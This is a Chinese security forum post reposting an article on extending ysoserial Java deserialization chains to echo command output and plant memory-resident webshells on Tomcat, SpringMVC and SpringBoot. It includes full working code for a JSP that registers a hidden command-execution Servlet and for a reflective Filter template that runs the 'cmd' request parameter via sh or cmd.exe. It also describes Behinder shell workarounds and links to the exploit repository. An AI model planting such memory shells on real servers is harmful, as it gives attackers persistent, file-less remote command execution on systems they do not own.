安全矩阵

 找回密码
 立即注册
搜索
查看: 377|回复: 0

基于ysoserial的深度利用研究(命令回显与内存马)

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-3-22 22:01:54 | 显示全部楼层 |阅读模式
本帖最后由 adopi 于 2023-3-22 22:01 编辑

原文链接:基于ysoserial的深度利用研究(命令回显与内存马)
0x01 前言

很多小伙伴做反序列化漏洞的研究都是以命令执行为目标,本地测试最喜欢的就是弹计算器,但没有对反序列化漏洞进行深入研究,例如如何回显命令执行的结果,如何加载内存马。
在上一篇文章中↓↓↓
记一次反序列化漏洞的利用之路

遇到了一个实际环境中的反序列化漏洞,也通过调试最终成功执行命令,达到了RCE的效果。在实际的攻防场景下,能执行命令并不是最完美的利用场景,内存马才是最终的目标。本篇文章就在此基础上讲一讲如何进行命令回显和加载内存马。

0x02 回显

在研究基于反序列化利用链的回显实现之前,首先解决基于反序列化利用链的回显实现,也就是在响应结果中输出命令执行的结果。对PHP语言熟悉的小伙伴可能会觉得这并不算问题,直接echo不就行了,java里面是不是也应该有类似的函数例如out.println()。Java是一种面向对象的编程语言,所有的操作都是基于类和对象进行,如果要在页面响应中输出内容,必须要先有HttpServletResponse对象,典型的把命令执行结果响应到页面的方式如图2.1所示。


图2.1 通过HttpServletResponse对象输出命令执行结果



从图2.1可以看出最简单的命令执行,也需要比较复杂的代码逻辑,也就要求利用链中必须要支持执行复杂语句。并不是所有的ysoserial利用链都能达到回显和内存马的效果,只有支持复杂语句的利用链才能回显和内存马,如表2.1所示。



表2.1 ysoserial利用链中对复杂语句的支持
我们先以CommonsBeanutils1利用链来进行分析,其他CommonsCollections利用链本质上是一样的,CommonsBeanutils1链和CommonsCollections链最终都是xalan库来动态加载字节码,执行复杂语句。关于xalan利用链的分析网上有很多文章,这里暂不做分析。
要实现反序列化利用链的结果回显,最重要的是要获取到HttpServletRequest对象和HttpServletResponse对象,根据目标环境的不同,获取这两个对象的办法是不一样的,如图2.2,图2.3所示。


图2.2 SpringBoot环境下获取request和response对象


图2.3 SpringMVC环境下获取request和response对象
不同的服务器获取这两个对象的方式不一样,其他例如Weblogic、Jboss、Websphere这些中间件获取这两个对象的方式也不一样,这种差异化极大的增加了反序列化回显和内存马实现的难度。
有没有一种比较通用的办法能够获取到request和response对象呢?答案是有的,基于Thread.CurrentThread()递归搜索可以实现通用的对象查找。目前测试环境是SpringMVC和SpringBOOT,其他环境暂未测试。
Thread.CurrentThread()中保存了当前线程中的全局信息,系统运行环境中所有的类对象都保存在Thread.CurrentThread()。用于回显需要的request和response对象可以在Thread.CurrentThread()中找到;用于内存马实现的StandardContext对象也可以找到。
递归搜索的思路就是遍历Thread.CurrentThread()下的每一个字段,如果字段类别继承自目标类(例如javax.servlet.http.HttpServletRequest),则进行标记,否则继续遍历。如图2.3的方式是在已知目标类的位置获取目标类对应对象的方式,我们的改进办法是在未知目标类位置的情况下,通过遍历的方式来发现目标类对象。
其中关键的代码如图2.4所示,完整的代码见github项目地址。其中最关键的步骤是通过递归的方式来查找Thread.CurrentThread()的所有字段,依次判断字段类型是否为javax.servlet.http.HttpServletRequest和javax.servlet.http.HttpServletResponse。


图2.4 通过递归方式来查找request和response对象



使用这种方式的好处是通用性高,而不需要再去记不同服务器下对象的具体位置。把这种方式保存为一条新的利用链CommonsBeanutils1Echo,然后就可以在兼容SpringMVC和SpringBoot的环境中使用相同的反序列化包,如图2.5,图2.6所示。


图2.5 生成payload


图2.6 使用生成的payload进行反序列化测试

0x03 内存马


内存马一直都是java反序列化利用的终极目标,内存马的实现方式有很多种,其中最常见的是基于Filter的内存马,本文目标也是通过反序列化漏洞实现通用的冰蝎内存马。



基于Filter型的内存马实现步骤比较固定,如果是在jsp的环境下,可以使用下面的方式来生成内存马。

  1. <%@ page import="java.io.IOException" %>
  2. <%@ page import="java.io.InputStream" %>
  3. <%@ page import="java.util.Scanner" %>
  4. <%@ page import="org.apache.catalina.core.StandardContext" %>
  5. <%@ page import="java.io.PrintWriter" %>

  6. <%
  7.     // 创建恶意Servlet
  8.     Servlet servlet = new Servlet() {
  9.         @Override
  10.         public void init(ServletConfig servletConfig) throws ServletException {

  11.         }
  12.         @Override
  13.         public ServletConfig getServletConfig() {
  14.             return null;
  15.         }
  16.         @Override
  17.         public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
  18.             String cmd = servletRequest.getParameter("cmd");
  19.             boolean isLinux = true;
  20.             String osTyp = System.getProperty("os.name");
  21.             if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  22.                 isLinux = false;
  23.             }
  24.             String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
  25.             InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  26.             Scanner s = new Scanner(in).useDelimiter("\\a");
  27.             String output = s.hasNext() ? s.next() : "";
  28.             PrintWriter out = servletResponse.getWriter();
  29.             out.println(output);
  30.             out.flush();
  31.             out.close();
  32.         }
  33.         @Override
  34.         public String getServletInfo() {
  35.             return null;
  36.         }
  37.         @Override
  38.         public void destroy() {

  39.         }
  40.     };

  41. %>
  42. <%
  43.     // 获取StandardContext
  44.     org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
  45.     StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

  46.     // 用Wrapper对其进行封装
  47.     org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper();
  48.     newWrapper.setName("pv587");
  49.     newWrapper.setLoadOnStartup(1);
  50.     newWrapper.setServlet(servlet);
  51.     newWrapper.setServletClass(servlet.getClass().getName());

  52.     // 添加封装后的恶意Wrapper到StandardContext的children当中
  53.     standardCtx.addChild(newWrapper);

  54.     // 添加ServletMapping将访问的URL和Servlet进行绑定
  55.     standardCtx.addServletMapping("/pv587","pv587");
  56. %>
复制代码



访问上面的jsp文件,然后就可以删除文件,访问内存马了,如图3.1所示。


图3.1 通过jsp文件来实现内存马

上面的代码是最初级的内存马实现,通过jsp文件来实现的命令执行的内存马。由于本文的重点不是讲内存马的原理,所以代码原理简单在注释中说明,如果需要详细的原因可以参考其他专门讲内存马的文章。在反序列化环境下实现冰蝎的内存马要比这个复杂很多,但是其中一些本质上的步骤是不变的。

内存马实现种最关键的是要获取StandardContext对象,然后基于这个对象来绑定Wrapper。不同的环境下获取StandardContext对象的方式不一样,与上面步骤回显的方式一致,也可以通过递归搜索的方式从Thread.CurrentThread()中查找,把上面内存马的实现放在递归搜索的模版中实现如下所示。

  1. package ysoserial.template;


  2. import org.apache.catalina.Context;
  3. import org.apache.catalina.core.ApplicationFilterConfig;
  4. import org.apache.catalina.core.StandardContext;
  5. import org.apache.catalina.deploy.FilterDef;
  6. import org.apache.catalina.deploy.FilterMap;

  7. import javax.servlet.*;
  8. import java.io.IOException;
  9. import java.io.InputStream;
  10. import java.io.PrintWriter;
  11. import java.lang.reflect.Constructor;
  12. import java.util.HashSet;
  13. import java.lang.reflect.Array;
  14. import java.lang.reflect.Field;
  15. import java.util.*;

  16. public class DFSMemShell {

  17.     private HashSet set = new HashSet();
  18.     private Object standard_context_obj;
  19.     private Class standard_context_clazz = Class.forName("org.apache.catalina.core.StandardContext");

  20.     public DFSMemShell() throws Exception {
  21.         StandardContext standardCtx = (StandardContext) standard_context_obj;
  22.         FilterDef filterDef = new FilterDef();
  23.         filterDef.setFilterName("TestFilter");
  24.         filterDef.setFilter(new Filter() {
  25.             @Override
  26.             public void init(FilterConfig filterConfig) throws ServletException {

  27.             }

  28.             @Override
  29.             public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  30.                 String cmd = servletRequest.getParameter("cmd");
  31.                 boolean isLinux = true;
  32.                 String osTyp = System.getProperty("os.name");
  33.                 if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  34.                     isLinux = false;
  35.                 }
  36.                 String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
  37.                 InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  38.                 Scanner s = new Scanner(in).useDelimiter("\\a");
  39.                 String output = s.hasNext() ? s.next() : "";
  40.                 PrintWriter out = servletResponse.getWriter();
  41.                 out.println(output);
  42.                 out.flush();
  43.                 out.close();

  44.             }

  45.             @Override
  46.             public void destroy() {

  47.             }
  48.         });
  49.         standardCtx.addFilterDef(filterDef);

  50.         Constructor constructor =  ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDef.getClass());
  51.         constructor.setAccessible(true);
  52.         ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig)constructor.newInstance(standardCtx, filterDef);
  53.         Field field = standardCtx.getClass().getDeclaredField("filterConfigs");
  54.         field.setAccessible(true);
  55.         Map applicationFilterConfigs = (Map) field.get(standardCtx);
  56.         applicationFilterConfigs.put("TestFilter", applicationFilterConfig);
  57.         FilterMap filterMap = new FilterMap();
  58.         filterMap.setFilterName("TestFilter");
  59.         filterMap.addURLPattern("/btltest");
  60.         //动态应用FilterMap
  61.         standardCtx.addFilterMap(filterMap);
  62.     }


  63.     public Object getStandardContext(){
  64.         return standard_context_obj;
  65.     }

  66.     public void search(Object obj) throws IllegalAccessException {
  67.         if (obj == null){
  68.             return;
  69.         }
  70.         if (standard_context_obj != null){
  71.             return;
  72.         }
  73.         if (obj.getClass().equals(Object.class) ) {
  74.             return;
  75.         }
  76.         if (standard_context_clazz.isAssignableFrom(obj.getClass())){
  77.             System.out.println("Found standardContext");
  78.             standard_context_obj = obj;
  79.             return;
  80.         }
  81.         if (obj.getClass().isArray()) {
  82.             for (int i = 0; i < Array.getLength(obj); i++) {
  83.                 search(Array.get(obj, i));
  84.             }
  85.         } else {
  86.             Queue q = getAllFields(obj);
  87.             while (!q.isEmpty()) {
  88.                 Field field = (Field) q.poll();
  89.                 field.setAccessible(true);
  90.                 Object fieldValue = field.get(obj);
  91.                 if(standard_context_clazz.isAssignableFrom(fieldValue.getClass())){
  92.                     System.out.println("Found standard context1");
  93.                     standard_context_obj = fieldValue;
  94.                 }
  95.                 else{
  96.                     search(fieldValue);
  97.                 }

  98.             }
  99.         }
  100.     }

  101.     public Queue getAllFields(Object obj) throws IllegalAccessException {
  102.         Queue queue = new LinkedList();
  103.         for (Class clazz = obj.getClass(); clazz != null; clazz = clazz.getSuperclass()) {
  104.             Field[] fields = clazz.getDeclaredFields();
  105.             for (Field f : fields) {
  106.                 if (f.getType().isPrimitive()) {
  107.                     continue;
  108.                 } else if (f.getType().isArray() && f.getType().getComponentType().isPrimitive()) {
  109.                     continue;
  110.                 }  else {
  111.                     f.setAccessible(true);
  112.                     Object fieldValue = f.get(obj);
  113.                     if (fieldValue != null) {
  114.                         int hashcode = fieldValue.hashCode();
  115.                         if (set.contains(hashcode)) {
  116.                         } else {
  117.                             set.add(hashcode);
  118.                             queue.offer(f);
  119.                         }
  120.                     }
  121.                 }
  122.             }
  123.         }
  124.         return queue;
  125.     }

  126. }
复制代码



以上面的类为模版,通过xalan链动态字节码加载的方式来生成对应的类对象,会自动这个类中的构造函数,本来逻辑上是没有问题的。但是在实际测试过程中却一直不能成功,后来找到了问题的根源,通过xalan来加载类对应的字节码文件是单个文件,如果类中有内部类或者匿名内部类,则会加载失败。



通过把动态生成的字节码保存到任意class文件,查看文件内容如图3.2所示。从图中可以看出原本定义的Filter类型的匿名内部类变成了”new 1(this)”。


图3.2 动态生成的字节码文件中没有匿名内部类的内容



本来不知道怎么办,但是转念一想,通过反序列化来实现内存马早已经有大佬实现,肯定是有办法解决这个问题的。在项目https://github.com/WhiteHSBG/JNDIExploit中提供了多种环境下实现内存马的方式,如图3.3所示。


图3.3 通过反射的方式来动态加载字节码

如图3.3所示,通过反射的方式来生成Filter类型的对象,避免了使用内部类和匿名内部类,这确实是一个高明的技巧。既然有前辈的足迹,我们直接就可以占在巨人的肩膀上,把JNDIExploit中关于内存马实现的部分拷贝到我这里的反序列化模板中。注意,这里在实现冰蝎内存马的时候同样存在内部类问题,冰蝎中的内部类也需要通过反射的方式来实现。

在实际使用中,还有两个问题需要修改,其中第一个是动态加载字节码运行其中的equals方法,调用方式有问题,如图3.4,图3.5所示。


图3.4 JNDIExploit中加载调用equals方法


图3.5 修改后加载调用equals方法

另一个问题是对于SpringBoot interceptor拦截器内存马,在响应的时候必须明确指定状态码为200,不然冰蝎的客户端会连不上,如图3.6所示。


图3.6 设置状态码为200

这样之后就可以通过反序列化xalan执行复杂语句生成内存马,详细的代码参考https://github.com/webraybtl/ysoserialbtl,如图3.7所示。


0x04 结论

内存马的实现其实是挺复杂的过程,不同环境下实现方式并不完全一样,通过递归搜索的方式可以简化我们寻找特定对象的方式,并具有更高的兼容性。
完整代码已经放在↓↓↓
https://github.com/webraybtl/ysoserialbtl

CC链不支持复杂语句,并不是一定的,在某些情况下也可以让其支持,比如通过ScriptEngineManager加载js解析引擎来执行复杂语句。这会是一种更通用的实现内存马的方式吗?还有待研究。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-19 08:16 , Processed in 0.016282 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表